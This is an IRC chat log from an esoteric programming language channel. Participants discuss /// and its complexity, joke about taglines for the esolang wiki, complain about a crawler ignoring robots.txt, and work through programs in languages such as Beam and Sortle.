00:10:57 <ais523> (I implemented it myself before I'd ever heard of the algo having a name)
00:11:25 <elliott> oerjan: come on that was even worse than yours
00:11:47 <tswett> Well, the reflexive property of equality has a name, too.
00:12:55 <elliott> is it the reflexive property of equality
00:14:09 <elliott> tswett: How did you manage to write ///? Did an angel beam down and give you the spec?
00:14:32 <tswett> elliott: maybe; I don't remember.
00:15:17 <tswett> I mean, I didn't do it on purpose.
00:15:36 <tswett> What's the cutting edge in /// technology, anyway?
00:16:28 <ais523> tswett: ask oerjan, he invented most of it
00:16:30 <elliott> http://esolangs.org/wiki////#Simpler_counter, http://esolangs.org/wiki////#Bitwise_Cyclic_Tag_interpreter
00:16:46 <ais523> hmm, I think oerjan is the main esolang programmer here, in that he does more ground-breaking actual programming in esolangs than anyone else
00:16:48 <elliott> http://esolangs.org/wiki/Truth-machine#itflabtijtslwi is the latest program. ok not strictly ///
00:17:01 <elliott> there's also http://esolangs.org/wiki/Itflabtijtslwi#Examples
00:17:19 <elliott> tswett: but probably http://oerjan.nvg.org/esoteric/slashes/bct.sss and its generator http://oerjan.nvg.org/esoteric/slashes/BCT.hs are the most impressive things
00:17:54 <elliott> http://esolangs.org/wiki/Deadfish#itflabtijtslwi
00:18:02 * elliott thinks BCT is more impressiv
00:19:16 <ais523> oh, I thought you meant there was a truth-machine in BCT
00:19:22 <ais523> that surely can't be very hard
00:19:41 <oerjan> well yes. although the difficult parts are different, with the BCT the hard thing was encoding things as /\, for Deadfish i had to get arithmetic including printing
00:21:04 <oerjan> it's much easier to do /// with more characters, most of the programs in that style are made "by hand"
00:21:14 <elliott> ais523: BCT doesn't have input
00:21:18 <elliott> so that would be exceptionally hard
00:21:21 <oerjan> (modulo a little vim substitution)
00:21:30 <ais523> elliott: languages that don't take input get to do it by having the input encoded into the program
00:21:41 <ais523> so you'd want two programs, one with a 0 and the other with a 1, that were otherwise the same
00:21:41 <elliott> oerjan: you know, we would have cnosidered BCT impressive even without the \/ thing :P
00:21:53 <ais523> and did truth-machine behaviour
00:22:03 <ais523> elliott: the \/ thing makes loops easier to write, I think
00:22:26 <tswett> You know, I would slightly expect a quoted program in /// to contain no slashes of either direction at all.
00:23:25 <oerjan> ais523: um no. the \/ loops are precisely like the other loops, except for choice of encoding of tokens
00:24:02 <oerjan> only the first looping program was essentially different
00:25:00 <elliott> oerjan: btw have you thought about the asymptotic complexity of ///?
00:25:05 <elliott> e.g., how much slower it is at doing things
00:25:08 <oerjan> using a different and much less efficient method for removing the quoting.
00:25:24 <elliott> since obviously it isn't equally "fast" as brainfuck or the like
00:26:09 <oerjan> elliott: hm. well i have thought that a more efficient implementation could avoid checking substrings that obviously don't match and such things, and so get better asymptotic behavior
00:26:54 <oerjan> like we've discussed before, just not restarting at the beginning of the string every time would help
00:28:11 <tswett> What if you assume that every substitution takes time 1? Can it do things as fast as...
00:28:18 <tswett> What *is* our standard for speed, anyway?
00:29:30 <elliott> oerjan: right, I meant more in terms of how slower it is at common tasks
00:29:33 <tswett> An FSA with a couple of registers, each capable of storing arbitrary integers, attached to some RAM indexed by the integers, with each storage spot capable of storing... an integer, maybe with a size restriction?
00:29:38 <elliott> like arithmetic, and sorting
00:29:54 <elliott> tswett: our standard is something like a machine equipped with arbitrary indexing into an array of bignums
00:30:53 <tswett> But isn't that machine capable of doing arithmetic in constant time?
00:30:53 <oerjan> Phantom_Hoover: on our wiki, or on wikipedia?
00:31:04 <tswett> (Yes, because you said so.)
00:31:22 <elliott> tswett: which applies to standard complexity analysis too
00:31:29 <oerjan> it's on my watchlist, it's been rewritten a lot lately but it may be getting worse rather than better
00:31:32 <elliott> Phantom_Hoover: looks ok to me
00:31:52 <tswett> I guess the word "arithmetic" can apply to two different properties, though.
00:32:01 <Phantom_Hoover> "Perhaps a bit irritating, type variables are monotypes, either."
00:32:01 <oerjan> actually it was split from type inference, sort of
00:32:50 <tswett> Either the one where you have the numbers in your registers already, or the one where you're just given individual digits and have to calculate with those.
00:33:00 <tswett> Then again, that still allows you to do multiplication in linear time...
00:33:23 <Phantom_Hoover> "^ Luis Damas (1985): Type Assignment in Programming Languages. PhD thesis, University of Edinburg (CST-33-85)
00:34:03 <oerjan> stab them with a bagpipe
00:35:13 <itidus21> what you may not realize is that all the mistakes are intentional and the whole article is a troll
00:35:14 <tswett> Phantom_Hoover: wherefore?
00:35:15 <elliott> hey, did we ever decide on a slogan for the wiki?
00:35:41 -!- Jafet1 has joined.
00:36:09 <elliott> there is, it's in helsinki
00:36:14 <Phantom_Hoover> There's a University of Edinburgh, which Luis Damas went to.
00:36:24 <tswett> Hm, yeah, that's true. Plenty of Edinburgs, but no Edinburg has a University of it.
00:37:14 <oerjan> hm i think if you assume a substitution takes time 1, then /// should be able to do as well as a minsky machine.
00:37:16 <Phantom_Hoover> I can just hear Americans saying "Edinburg" over and over and over and over
00:38:31 <itidus21> I know I couldn't understand that article no matter who it was written by.
00:38:31 -!- Jafet has quit (Ping timeout: 240 seconds).
00:38:57 <elliott> oerjan: so, not very well then :P
00:39:13 <oerjan> because you don't need your unary registers to do more than a constant number of substitutions per step
00:39:51 <elliott> but an actual minsky machine interpreter would be slower, right?
00:39:55 <oerjan> actually i think you can also get a TM
00:39:57 <elliott> because it needs its own main loop around every operation
00:40:42 <oerjan> elliott: you can have data that isn't copied through the main loop mechanicm
00:41:05 <oerjan> this is one of the advantages of not coding solely with \/, btw
00:42:43 <tswett> Can everything that can be written using \, /, and two other symbols be written using \, /, and one other symbol, with only a constant penalty?
00:42:50 <oerjan> but anyway, i think it can be asymptotically comparable to a TM as well.
00:43:27 <oerjan> tswett: hm that's not obvious, i think
00:43:41 <oerjan> reducing anything else down to 2 is though
00:44:03 <elliott> oerjan: btw my intention is that a loop replacement would _not_ be considered O(1)
00:44:07 <elliott> since you can infiniloop with only a single one
00:44:24 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
00:44:45 <elliott> or did you mean a single replacement?
00:44:49 <elliott> in which case it's still not O(1) :P
00:44:54 <oerjan> elliott: fine, i think it's still asymptotically equal
00:45:06 <elliott> although I guess TMs are still pretty slow
00:45:15 <oerjan> elliott: er i wrote that before your last line
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00:45:58 <oerjan> i went with tswett's suggestion that substitutions should be considered O(1), although only single replacements are needed for what i thought of
00:49:43 <elliott> Terminus - a terminal emulator with support for inline HTML (github.com)
00:50:30 <oerjan> tswett: with only one symbol there's no way to separate symbols without using \ or /, which means you cannot do copying of non-unary data without the quoting mechanism
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00:51:03 <oerjan> so my hunch is it is less efficient
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01:13:57 <elliott> oerjan: you! quick! site tagline!
01:16:22 <oerjan> elliott: "solider than thou", i said!
01:17:24 <oerjan> or wrote, to be precise.
01:17:45 <elliott> ok. your suggestion will be considered.
01:17:48 -!- augur has quit (Remote host closed the connection).
01:17:51 <elliott> your suggestion has been considered and rejected.
01:18:10 <oerjan> at least the bureaucracy worked quickly.
01:18:59 <elliott> helps that there's only one member
01:19:14 <oerjan> "Computational madness"
01:21:13 <oerjan> "It's computation Jim, but not as we know it"
01:22:03 <oerjan> "Asymptotic incomprehensibility"
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01:22:47 <elliott> before i asked oerjan, i was sure "Weirder Than You" was the worst possible subtitle
01:24:02 <oerjan> "Is bubble-wrap Turing-complete?"
01:29:17 <oerjan> i sense the customer has not specified the task properly.
01:30:00 <itidus21> It really helps a lot when someone just blurts out an incomprehensible soundbyte like <treederwright> enjoy your matrix of solidarity
01:30:26 <oerjan> but he's already rejected that theme :(
01:31:43 <itidus21> (i know i probably didn't quote it perfectly) well looking at that sentence.. part of the fun is he said "enjoy your" ... implying some antagonism
01:32:34 <oerjan> "Trying to out-weird the other kind of esoteric"
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01:33:40 <itidus21> it's essentially an esolang meme.
01:33:58 <oerjan> and we all know how much elliott loves memes.
01:34:20 <oerjan> "Esoteric languages for fun and profit. Wait, scratch profit."
01:34:21 <itidus21> im not suggesting we use it.. im just analyzing it
01:36:21 <HackEgo> 296) <treederwright> enjoy being locked in your matrix of solidity
01:37:20 <oerjan> they're obviously from the other kind of esoteric.
01:39:17 <oerjan> i doubt there's more, e didn't stay long.
01:39:42 <Friendship> <itidus21> It really helps a lot when someone just blurts out an incomprehensible soundbyte
01:39:53 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.3800
01:39:59 <Friendship> He was spouting nonsense the whole time he was here.
01:42:40 <elliott> <oerjan> "Trying to out-weird the other kind of esoteric"
01:43:01 <oerjan> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
01:43:03 <elliott> Friendship: It was his parting shot, though.
01:43:18 * oerjan cannot take the suspense
01:44:19 <Friendship> I'm still kinda uncomfortable with being the representative of friendship.
01:44:21 <ion> oerjan: http://uncyclopedia.wikia.com/wiki/AAAAAAAAA!
01:44:28 <oerjan> elliott: there were others above, including one by itidus21
01:44:56 <elliott> ion: http://esolangs.org/wiki/AAAAAAAAAAAAAA!!!!
01:45:02 <oerjan> elliott: except that one, right?
01:45:50 <ion> “If you type a line beginning with @ it can be a comment and contains anything, but it must be removed from the program before the interpreter can use it.” So… just like Haskell?
01:46:30 <oerjan> elliott: i have no idea why the suck, which means i have no idea what you could possibly consider not sucking. also i get a deja-vu.
01:49:29 <oerjan> also, i think the deja vu would be complete if you rageparted just about now.
01:51:09 <oerjan> "Programming made wrong"
01:51:43 <oerjan> "And you thought PHP was bad"
01:52:55 <oerjan> "Distilling the suck from success"
01:53:25 <elliott> oerjan: they're all trying too hard :p
01:54:18 <Friendship> PHP is awesome: http://www.reddit.com/r/lolphp/comments/ps6x5/0x0_wat/
01:54:42 <oerjan> elliott: dammit why do you ask me if you want something without a joke in it
01:54:43 <monqy> out of everything I've heard my favorites are still "Irrelevant" and "hello"
01:55:04 <oerjan> "Your site for esoteric programming languages"
01:55:05 <itidus21> "We spent hours deliberating on a slogan"
01:55:19 <monqy> that one (itidus') is good too
01:55:41 <elliott> i am still a fan of "stop using cologne blue"
01:56:07 <elliott> the only skin the subtitle shows up in
01:57:20 <oerjan> i must have out-aged today's sense of humor. :(
01:59:03 <elliott> it's technically the "subtitle" btw
02:00:08 <oerjan> "There is more than one way to skin a wiki"
02:00:32 <elliott> oh it's called the "tagline" too
02:01:10 <elliott> http://esolangs.org/wiki/MediaWiki:Tagline, http://esolangs.org/wiki/MediaWiki:Sitesubtitle
02:01:26 <monqy> does tagline show up anywhere
02:02:28 <oerjan> itidus21: upvoted for trut
02:03:43 <itidus21> "Second only to Haskell.org as a MediaWiki Wiki"
02:03:51 <oerjan> "Why are you reading this anyway?"
02:05:16 <itidus21> "Rumour has it this is a wiki about esolangs"
02:05:41 <oerjan> "This subtitle was an unfortunate victim of a bikeshed accident"
02:06:26 <Friendship> "Surprisingly often covered in tree sap."
02:06:29 <oerjan> "The site with the brick Phantom"
02:09:59 <itidus21> "Build your own private cloud with microsoft technology"
02:10:41 <oerjan> "The wiki with its head in the cloud"
02:11:18 <Friendship> Or "Surprisingly often covered in tree sap"
02:15:32 <itidus21> "A new translation of War and Peace"
02:16:40 <elliott> wait, detroit is in michigan?
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02:16:54 <elliott> new proposal "Wait, Detroit is in Michigan?"
02:17:01 <oerjan> "Detroit is in Miching dammit
02:17:46 <oerjan> "Michigan's largest website"
02:18:23 <ion> largest web shite
02:19:01 <itidus21> "Wikipedia is surprisingly often covered in tree sap."
02:20:36 <HackEgo> 2011-01-07.txt:17:09:34: <elliott> j-invariant: then pick up the little tree saplings
02:20:50 <oerjan> `pastlog covered in tree sap
02:22:24 <oerjan> why do i still have the feeling i've seen it before?
02:22:45 <oerjan> "Why do i still have the feeling i've seen it before?"
02:23:12 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.10941
02:23:32 <Friendship> oerjan: Because you're surprisingly often covered in tree sap?
02:23:53 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.28614
02:24:20 <elliott> monqy: what do you think of "Wait, Detroit is in Michigan?"
02:24:22 <oerjan> `pastelogs surprisingly often covered
02:24:30 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.4902
02:24:39 <monqy> elliott: I can't tell if I like it or not
02:24:48 <monqy> it's very mysterious like that.
02:24:55 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.7250
02:26:38 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.15661
02:29:48 <itidus21> 2010-04-29.txt:14:50:44: <fizzie> Misread an Amazon title recommendation as "Purely Fictional Data Structures". (Unsurprisingly, they were functional instead. I might have bought a book on fictional ones.)
02:31:51 <elliott> fizzie doesn't own Okasaki. :(
02:40:52 <tswett> elliott: you're trying to come up with a slogan for Esolang?
02:42:04 <tswett> I suggest "Ellenikö va ruoda he milapaa sty evästäkkä puola märri to."
02:45:49 <oerjan> google translate was surprisingly useless on that one
02:48:00 <ion> It’s Finnish for “Ellen spouted her fecal matter all over the kitchen floor.”
02:48:25 <itidus21> i am not in any way perturbed when an online translator fails :-D
02:48:57 <itidus21> its more the successful feeling when a human beats a non-human at chess
02:49:16 <Sgeo> That seems easy to arrange.
02:49:22 <Sgeo> Have the computer make moves randomly.
02:49:28 <Sgeo> Better yet, play against a rock.
02:49:43 <ion> It’s even more impressive when three fifths of a human beats a non-human at chess.
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02:51:18 <itidus21> impressiveness increases as fraction of human approaches zero
02:52:04 <zzo38> Using the limited RAM available in NES, how much of Thue-Morse sequence could be generated at runtime by using a short program?
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03:08:22 <elliott> <ion> It’s Finnish for “Ellen spouted her fecal matter all over the kitchen floor.”
03:10:28 <ion> elliott: Nope, it’s either autogenerated words using a Markov chain from a Finnish dictionary or some other language that looks like autogenerated words using a Markov chain from a Finnish dictionary.
03:11:36 <elliott> Kaksikymmentäneljätuntiaikakausitämänhetkinen will be the day you die.
03:12:23 <itidus21> Ellenik vuotanut hnen ulosteessa koko keittin lattialle.
03:14:55 <zzo38> I have heard that the policy of credit card companies that they are not allowed to discount to customers who pay cash. But I have another idea: After pay, the store owner offers 50% refund if the customer wins at a game against the store owner. And the store owner will ensure to win if paid by credit card, and lost (ensuring customer win) if paid by cash.
03:15:44 <zzo38> What would happen if they did that?
03:16:33 <Sgeo> elliott, update
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03:24:35 <augur> are there no finns awake? :(
03:24:54 <zzo38> What timezone are you in???
03:25:09 <augur> est but i was here earlier!
03:25:26 <augur> besides, i know there are latenight finns
03:25:35 <ion> I’m about to go asleep.
03:26:27 <elliott> augur: All you use this place for anymore is asking for Finns, right?
03:26:43 <augur> well, finnish IS an esoteric language
03:26:46 <augur> i figure its on topic
03:27:12 <augur> ion: are you a native finnish speaker
03:27:29 <ion> I promised elliott i wouldn’t say this, but yes.
03:27:52 <elliott> No, native Finnish speaker is OK.
03:27:58 <elliott> Native resident of Finland is not.
03:28:05 <augur> ion: i just need a yes/no judgement from you
03:28:09 <elliott> Actually it doesn't matter whether you're native or not.
03:28:18 <ion> I judge: no.
03:28:25 <oerjan> finland, finland, finland
03:28:26 <augur> ion: on some finnish!
03:28:35 <elliott> I bet augur doesn't have to do it kaksikymmentäneljätuntiaikakausitämänhetkinen. He could wait until tomorrow.
03:29:46 <augur> i can wait tho yes
03:29:52 <augur> ion: ill annoy you tomorrow. what time would be good?
03:30:05 <ion> Feel free to ask now.
03:30:18 * elliott wonders if augur thinks "kaksikymmentäneljätuntiaikakausitämänhetkinen" is an actual word.
03:30:22 <augur> ill have to construct an example sentence and i dont want to stop you from going to sleep
03:30:47 <ion> I’ve been “about to go to sleep” for about five hours. :-P
03:31:08 <ion> I’ll probably actually do it now, but i’m in no real hurry.
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03:41:06 <elliott> Oh, we don't even get to see the sentence?
03:43:21 <augur> elliott: i have to annoy him and figure out what sentences are even useful to answer the question :P
03:43:27 <augur> so i dont want to spam the channel with that shit
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03:57:38 <kmc> http://heterodoxy.cc/meowdocs/pseudo/pseudosynth.pdf "A Simple and Convenient Synthesis of Pseudoephedrine From N-Methylamphetamine"
03:59:04 <kmc> "A quick search of several neighborhoods of the United States revealed that while pseudoephedrine is difficult to obtain, N-methylamphetamine can be procured at almost any time on short notice and in quantities sufficient for synthesis of useful amounts of the desired material."
03:59:13 <kmc> "We expect that the simultaneous trends of restricting pseudoephedrine sales while N-methylamphetamine becomes less expensive and of higher purity will make the methods presented here increasingly attractive."
04:33:09 <zzo38> In Haskell channel, someone said I made the same problem of including Int in Prelude. I agree and I realized I made a few other mistakes too, in Ibtlfmm example, so I will write the specification fix these problems. There shall be no Int, but there can be Int8, Int16, Int32, Int64, and Integer. Do you think so?
04:33:35 <zzo38> (And the corresponding unsigned types: Nat8, Nat16, Nat32, Nat64, and Natural.)
04:34:08 <ion> I’m not sure IntN, NatN belong to the Prelude either. In a separately imported module, sure.
04:36:25 <zzo38> Well, maybe... but I think Int doesn't belong anywhere; you have to use Int32 or whatever to specify the number of bits explicitly. But tell me your reasoning anyways; I would like to understand better what you mean any why you think it should be.
04:36:49 <elliott> (It's already like that, in Data.Int.)
04:38:18 <ion> I’m just thinking the IntN, NatN types are used quite infrequently.
04:38:48 <kmc> (set! lambda ((lambda (base-lambda) (vau (param . body) env (eval env (list base-lambda param (cons begin body))))) lambda))
04:39:26 <zzo38> elliott: I understand; what I mean is if it is make entirely new programming language. (One idea, of the name Nat8 instead of Word8 for unsigned 8-bit number)
04:40:17 <ion> kmc: What am i looking at?
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04:42:07 <kmc> a computer
04:42:23 <kmc> do i win a prize for guessing
04:42:55 <kmc> the code is for a language i implemented, which is similar to Kernel
04:43:03 <kmc> an fexpr / vau calculus sort of language
04:43:41 <kmc> it redefines lambda to support the syntactic sugar (lambda (x) a b c ...) => (lambda (x) (begin a b c ...))
04:43:44 * elliott doesn't like the explicit env thing much.
04:44:24 <kmc> it holds the old lambda in a closure constructed by (what else?) lambda
04:44:52 <kmc> elliott, do you have a proposed alternative?
04:45:13 <kmc> i saw someone on LtU talking about pairing the arguments with the dynamic environment
04:45:19 <kmc> to form a 'quasipromise'
04:45:55 <elliott> no proposed alternative :P ... but one idea I had would be to carry environments with values
04:46:00 <elliott> so "body" there would know its environment
04:46:06 <elliott> so (eval body) would eval it in the right environment
04:46:09 <elliott> maybe that's what you mean by that
04:46:12 <kmc> yeah, that's what i was talking about
04:46:25 <kmc> that makes it somewhat like a promise
04:46:38 <kmc> except you can still crack it open and get at the juicy cons pairs inside
04:47:28 <elliott> if you supported explicitly transforming environments of these values you could still do anaphoric stuff
04:49:45 <kmc> in my interpreter i totally expose the fact that environments are lists of alists
04:49:59 <kmc> which means there is no end of hax
04:50:14 <kmc> i don't know what a sane abstract-data interface to first class environments would look like
04:50:31 <kmc> this way is convenient because you can define 'define' and 'set!' in library code
04:50:49 <elliott> all you need is mutation, access, and enumeration, really
04:52:53 <kmc> all you need is love
04:53:11 <kmc> maybe i should rename "vau" to "love"
04:54:04 <ion> Vau is Finnish for “wow”.
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05:22:04 <zzo38> Is this good so far? So far I have only the main headings. http://zzo38computer.cjb.net/Ibtlfmm/ibtlfmm_specification.tex Perhaps I might change the name; if you can suggest better name ("Ibtlfmm" is not necessarily best name to call it)
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06:33:18 <elliott> @tell ais523 yep, Yandex is violating /robots.txt: 87.250.255.243 - - [26/Feb/2012:06:30:56 +0000] "GET /w/index.php?title=Auo&action=edit§ion=6 HTTP/1.1" 302 161 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
06:34:48 <Sgeo> Some sort of third-rate search engine?
06:35:28 <elliott> Third-rate = the top in Russia, or so they cliam.
06:35:45 <Sgeo> Its documentation makes it seem like it's supposed to
06:35:46 <elliott> http://en.wikipedia.org/wiki/Yandex
06:35:57 <Sgeo> http://help.yandex.com/search/?id=1112639
06:36:06 <Sgeo> Is /w/ valid like that in robots.txt?
06:36:28 <elliott> It's a path on the server.
06:36:55 <elliott> (Googlebot, bing etc. all respect the robots.txt I have just fine.)
06:43:13 <zzo38> You can just block Yandex at the router configuration if you need to
06:43:23 <zzo38> Or the server configuration
06:48:43 <Sgeo> But then we'd be hurting all our Russian fans
06:49:16 <elliott> We'd only be hurting the ones using that search engine.
06:49:24 <zzo38> Use some server configuration to block Yandex from /w/ only, then.
06:50:29 <elliott> It's not just that they violate robots.txt; they also spider far faster than they should.
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07:49:43 <elliott> . Function application .ab... ...(λx.a(bx))
07:49:46 <elliott> i do not quite understand this
07:49:51 <elliott> is it really meant to turn those two into a lambda?
07:49:57 <elliott> surely it should be something like
07:50:11 <Ngevd> I made the esolang when I was pretty much asleep
07:50:13 <elliott> using substitution syntax or something
07:50:40 <Ngevd> $3. turns into ...
07:50:56 <Ngevd> $6~ turns into ~~~~~~
07:51:11 <Ngevd> I'm not sure if I need .
07:51:17 <Ngevd> I think I'll remove it
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07:52:27 <Ngevd> If you can clarify that better, go ahead
07:54:00 <elliott> yeah, I'm tweaking the article now
07:56:28 <elliott> Ngevd: you have ! doing two things
07:57:13 <Ngevd> Make the first one ?
07:59:05 <elliott> Ngevd: If you're fixing it, refresh
08:01:01 <elliott> Ngevd: You did not fix the example.
08:06:39 <elliott> You forgot to add it to your userpage. :
08:06:53 <Ngevd> I'll do that later
08:08:33 <Ngevd> Have I just made the esolang with the longest sequence of vowels in a non-onomatpic title?
08:10:03 <Ngevd> (By the way, later has already happened)
08:12:59 <elliott> You misspelled it on the language list.
08:13:28 <elliott> Either that, or in the page title.
08:14:13 <Ngevd> No, the language list
08:14:21 <Ngevd> It's based on the word "queue"
08:14:34 <Ngevd> And I misplaced it
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08:19:34 * Sgeo wonders if he should be upset that http://common-lisp.net/project/cl-monad-macros/monad-macros.htm uses macros like with-monad rather than having bind dispatch on the type. I'm not even sure how return could be made to work generically, so
08:24:44 <elliott> You can't do return in a dynamically-typed language.
08:25:43 <Sgeo> Pass it the class?
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08:26:24 <elliott> Yes, that's what you have to do to make it not the same and work.
08:27:44 * Sgeo is somewhat glad of monad macros in CL
08:28:13 <Sgeo> And that was weird grammar
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08:32:40 <Sgeo> "So that's it: A monad is a code-transformer. Like a macro. It's simple to remember: Both names even start with a 'M'."
08:32:51 <Sgeo> Blood is coming out of my gums for having read that
08:33:01 <Sgeo> http://kawagner.blogspot.com/2007/02/understanding-monads-for-real.html
08:33:37 <Sgeo> Oh, e says that they're not really macros
08:33:50 <Sgeo> "I put the '' around the word 'macro' because Monads are not really macros by definition. So if you want to be picky you can find reasons why this picture isn't totally correct. But does this really matter? Or isn't it more important to have a useful way of thinking if we deal with an abstraction?"
08:34:54 <elliott> thank you for telling us about this article.
08:35:20 <elliott> http://kawagner.blogspot.com/2007/02/why-monads-are-evil.html
08:35:46 <elliott> If Lisp and Haskell are too powerful for you and your fellow web developers, stick to Java. But don't waste your time posting ignorant tripe.
08:42:20 <Sgeo> elliott, read Karsten's thoughts on undo/redo
08:43:36 <Sgeo> Although I am a bit disturbed at what wellsed said
08:44:01 <Sgeo> "It is an undecideable problem to determine a Haskell program's
08:44:01 <Sgeo> evaluation order without actually evaluating the program. This is a consequence of the
08:44:01 <Sgeo> non-strict semantics of Haskell; Haskell is the "standard non-strict, pure, functional language".
08:44:01 <Sgeo> The decision for Haskell to be pure forces the necessity of its non-strict nature."
08:44:31 <Sgeo> Pretty sure that non-strictness forces (or at least strongly indicates) purity, rather than purity strongly suggesting non-strictness.
08:45:16 <elliott> Sgeo: I'm not going to read anything this idiot said.
08:45:37 <elliott> @tell oerjan wow, your BCT interpreter was 2009?
08:46:14 <Madoka-Kaname> Closures operate at runtime, and, operates on live values.
08:46:23 <Madoka-Kaname> Macros operate at compiletime, and operate on code.
08:48:49 <elliott> The two concepts are pretty much unrelated, except that monads are a useful abstraction when defining EDSLs, and macros can also be used for EDSLs.
08:51:16 <shachaf> The great thing about ignorant tripe is that everyone feels like they can contribute to a discussion of it.
08:51:28 <shachaf> When the best contribution would be a lack of discussion, of course.
08:52:00 <shachaf> Esp in languages with state sometimes refers to the stack pointer.
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09:00:22 <elliott> shachaf: Did you know that Haskell is just mathematical notation?
09:01:24 <Ngevd> I'm playing VVVVVV, just did the whole Doing Things The Hard Way, but landed on the wrong side of the block,...
09:07:55 <Madoka-Kaname> I went "you want me to do WHAT" when it started off an escort mission...
09:13:06 <zzo38> Do you want to define a monad using join instead of bind?
09:14:38 <zzo38> Ngevd: Whoever answer, so, that can include you
09:14:59 <Ngevd> It could be useful to have the option and oh god I'm Ngevd
09:15:01 -!- Ngevd has changed nick to Taneb.
09:17:05 <elliott> Have you considered just changing your name in your client.
09:17:16 <Taneb> I've tried to. Twice
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09:17:38 <zzo38> Did you read the documentation for your client?
09:17:51 <Taneb> It doesn't seem to stick
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09:19:21 <Sgeo> zzo38, if it's easier for you to imagine join rather than bind, write oin
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09:20:10 <zzo38> To me, bind is just a shortcut to combine join with fmap
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09:20:46 <Taneb> That seemed to work
09:22:03 <zzo38> At least in the IRC client I use, nothing persists across sessions; you have to put your configuration in a init script.
09:24:20 <Sgeo> There's a new I Wanna Be The Guy
09:24:35 <zzo38> (The same thing applies in Astrolog; you have to put all your configurations in the init script)
09:25:46 <zzo38> Either that or enter the commands manually every time; both PHIRC and Astrolog do that.
09:47:04 <Taneb> ...There are two Helgi the Sharps on Wikipedia
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10:39:26 <graue> hello #esoteric people
10:39:42 <mRoman> I'm failing to implement a program that compares two values in Beam :(
10:40:22 <mRoman> >-! is a loop that sets the beam to zero
10:40:30 <mRoman> but that only works, if beam % 3 is zero.
10:41:13 <mRoman> >-! is executed >-!->-!->-! and so on
10:41:47 <graue> i don't know Beam yet
10:41:48 <mRoman> The idea would have been to decrement both values each at a time
10:41:55 <mRoman> and stop if one value reached zero
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10:42:03 <mRoman> which would make that value the smaller of both.
10:42:27 <mRoman> Except I have not figured out yet how to decrement 1 :)
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10:45:13 <mRoman> I can subtract even numbers with >--!
10:45:31 <mRoman> which is >--!-->--!-->--!
10:46:24 <mRoman> beam -= 2; while(beam != 0) { beam -= 4 }; would that bee.
10:47:03 <mRoman> obviously that won't terminate if beam is not even.
10:48:58 <mRoman> >-! zeroes the beam, if the beam is odd.
10:49:08 <mRoman> >--! zeroes the beam, if the beam is even.
10:50:02 <mRoman> But I may be able to figure out how to test, if it is even or not.
10:50:52 <mRoman> But I guess I need loops for that too.
10:51:02 <mRoman> and so fall in to the same problem.
10:51:18 <mRoman> actually it is the same problem.
10:51:44 <graue> did you invent this language?
10:52:57 <graue> maybe it's impossible to do what you're trying to do
10:53:34 <mRoman> I think the language has all the necessary stuff to be turing complete
10:53:41 <mRoman> which means, that it must be possible somehow :D
10:54:05 <mRoman> so that must be enough.
10:54:14 <elliott> well, turing-completeness doesn't necessarily mean you can accomplish some operation with the primitive data types in the language
10:54:33 <elliott> e.g., there may be a BF interpreter you can write that never needs to decrement 1, or such
10:54:48 <graue> yeah, i was thinking the same
10:55:11 <graue> or perhaps since you can test for 0 or 1, use only those values in your program, and represent larger numbers as bitstrings
10:57:24 <mRoman> At least I can test for (beam != 0) and (beam != 1)
10:57:52 <graue> well if you only use 0 and 1, then (beam != 0) <=> (beam == 1), and vice versa
11:00:03 <mRoman> That loop always zeroes the beam if the store is zero
11:06:50 <graue> i resurrected my weird 7 year old string-rewriting language, Sortle
11:07:12 <graue> and successfully wrote a fibonacci program in it after many hours
11:07:19 <graue> http://esoteric.voxelperfect.net/files/sortle/src/fib.sort check it out
11:08:34 <graue> the C interpreter was hopelessly buggy, so most of those hours were spent writing a new interpreter: http://esoteric.voxelperfect.net/files/sortle/impl/sortle.pl
11:09:40 <elliott> hmm, reminds me of Muriel, at least if that quoting /is/ the quiney-program-rewriting it looks like
11:10:30 <graue> /me refreshes memory on how Muriel works
11:11:20 <elliott> looks like cpressey wrote a perl interpreter for sortle too, heh: http://catseye.tc/projects/muriel/script/muriel.pl
11:11:37 <graue> you mean for muriel?
11:11:49 <graue> muriel looks cool, but sortle is different
11:12:03 <graue> the code doesn't get modified
11:12:04 <elliott> i completely forgot which article i was reading :)
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11:12:26 <Ngevd> Programming in Fueue is haaaard
11:12:30 <mRoman> http://esolangs.org/wiki/Beam#Even_.2F_Odd
11:12:54 <fungot> \o| |o| |o/ \m/ \m/ |o/ \o/ \o| \m/ \m/ \o| |o| |o/
11:12:55 <myndzi> | | | `\o/´ | | | `\o/´ | | |
11:12:56 <myndzi> /'\ |\ |\ | /'\ /< /< | /< /| /´\
11:13:34 <mRoman> Trick is to subtract two
11:13:40 <mRoman> and test for !=0 or !=1
11:14:12 <Ngevd> So, if it's not 1 or 0, then subtract 2 again?
11:17:47 <graue> elliott: so, in sortle, the only form of data storage is in expression names
11:18:21 <graue> and it can only be accessed by trying to match other expression names (not the expression being evaluated) with a regex
11:18:56 <elliott> where does the sort part come into it?
11:19:27 <graue> at each step, the expressions are sorted by name
11:19:40 <graue> whichever one comes after the one that just got evaluated, is evaluated next
11:20:05 <elliott> reminds me of Forte, in the execution order
11:21:07 <graue> i've only glanced at that one
11:21:08 <mRoman> Esolangs are so baaaad for code reuse
11:21:26 <graue> though the wiki tells me that sortle is a year older, so i win :P
11:21:29 <mRoman> Even if you were able to write a program to test for even/odd
11:21:34 <mRoman> you can't just use that code :(
11:21:53 <mRoman> because it assumes starting position and since it's 2d
11:22:03 <mRoman> it also assumes position in the code
11:22:24 <elliott> code reuse is terrible. you might build something useful
11:22:52 <graue> code reuse is for people who aren't cool enough to program esolangs
11:23:21 <mRoman> I prefer to say that people who can't program esolangs, can't program ;)
11:23:41 <mRoman> *who can't program (in) esolangs
11:23:45 <elliott> it also reminds me of Forte in that you "relabel" statements to get them to execute in the order that you want
11:23:53 <elliott> (except in Forte you do it by changing the numbers themselves :))
